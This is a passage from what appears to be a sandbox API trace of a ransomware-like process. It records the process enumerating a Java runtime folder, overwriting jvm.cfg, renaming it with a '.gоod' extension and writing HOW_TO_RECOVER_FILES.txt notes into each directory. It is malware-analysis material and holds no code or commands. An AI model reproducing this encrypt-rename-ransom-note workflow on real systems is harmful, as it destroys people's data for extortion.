Files\\Java\\jre1.8.0_144\\lib\\amd64", lpFilePart=0x0) returned 0x2c [0096.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83770 [0096.090] FindNextFileW (in: hFindFile=0x1ec83770, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.090] FindNextFileW (in: hFindFile=0x1ec83770, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0096.091] FindNextFileW (in: hFindFile=0x1ec83770, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0096.091] FindClose (in: hFindFile=0x1ec83770 | out: hFindFile=0x1ec83770) returned 1 [0096.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0096.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0096.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", lpFilePart=0x0) returned 0x34 [0096.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0096.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), fInfoLevelId=0x0, lpFileInformation=0x3591c10 | out: lpFileInformation=0x3591c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a)) returned 1 [0096.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0096.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", lpFilePart=0x0) returned 0x34 [0096.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0096.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.091] GetFileType (hFile=0x7dc) returned 0x1 [0096.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0096.092] GetFileType (hFile=0x7dc) returned 0x1 [0096.092] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f49bbf8 | out: lpFileSizeHigh=0x1f49bbf8*=0x0) returned 0x27a [0096.092] ReadFile (in: hFile=0x7dc, lpBuffer=0x35920d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb28, lpOverlapped=0x0 | out: lpBuffer=0x35920d8*, lpNumberOfBytesRead=0x1f49bb28*=0x27a, lpOverlapped=0x0) returned 1 [0096.093] CloseHandle (hObject=0x7dc) returned 1 [0096.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", lpFilePart=0x0) returned 0x34 [0096.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0096.120] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.121] GetFileType (hFile=0x7dc) returned 0x1 [0096.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0096.121] GetFileType (hFile=0x7dc) returned 0x1 [0096.121] WriteFile (in: hFile=0x7dc, lpBuffer=0x360a218*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x1f49ba38, lpOverlapped=0x0 | out: lpBuffer=0x360a218*, lpNumberOfBytesWritten=0x1f49ba38*=0x280, lpOverlapped=0x0) returned 1 [0096.122] CloseHandle (hObject=0x7dc) returned 1 [0096.122] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg", lpFilePart=0x0) returned 0x34 [0096.122] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.gоod", lpFilePart=0x0) returned 0x39 [0096.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0096.122] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3581adf8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0096.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0096.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.gоod")) returned 1 [0096.362] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0096.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0096.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0096.365] GetFileType (hFile=0x7dc) returned 0x1 [0096.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0096.365] GetFileType (hFile=0x7dc) returned 0x1 [0096.366] WriteFile (in: hFile=0x7dc, lpBuffer=0x35e8290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x35e8290*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0096.367] CloseHandle (hObject=0x7dc) returned 1 [0096.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0096.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet", lpFilePart=0x0) returned 0x2d [0096.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83c50 [0096.368] FindNextFileW (in: hFindFile=0x1ec83c50, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.368] FindNextFileW (in: hFindFile=0x1ec83c50, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.368] FindClose (in: hFindFile=0x1ec83c50 | out: hFindFile=0x1ec83c50) returned 1 [0096.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0096.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0096.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0096.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet", lpFilePart=0x0) returned 0x2d [0096.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83350 [0096.368] FindNextFileW (in: hFindFile=0x1ec83350, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.369] FindNextFileW (in: hFindFile=0x1ec83350, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.369] FindClose (in: hFindFile=0x1ec83350 | out: hFindFile=0x1ec83350) returned 1 [0096.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0096.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0096.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0096.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0096.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\applet\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0096.369] GetFileType (hFile=0x7dc) returned 0x1 [0096.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0096.370] GetFileType (hFile=0x7dc) returned 0x1 [0096.370] WriteFile (in: hFile=0x7dc, lpBuffer=0x35f91c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x35f91c0*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0096.371] CloseHandle (hObject=0x7dc) returned 1 [0096.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0096.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm", lpFilePart=0x0) returned 0x2a [0096.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83b90 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x1ec83b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.374] FindClose (in: hFindFile=0x1ec83b90 | out: hFindFile=0x1ec83b90) returned 1 [0096.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0096.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0096.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0096.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm", lpFilePart=0x0) returned 0x2a [0096.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83650 [0096.374] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.374] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0096.374] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0096.375] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0096.375] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0096.375] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0096.375] FindNextFileW (in: hFindFile=0x1ec83650, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0096.375] FindClose (in: hFindFile=0x1ec83650 | out: hFindFile=0x1ec83650) returned 1 [0096.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0096.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0096.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", 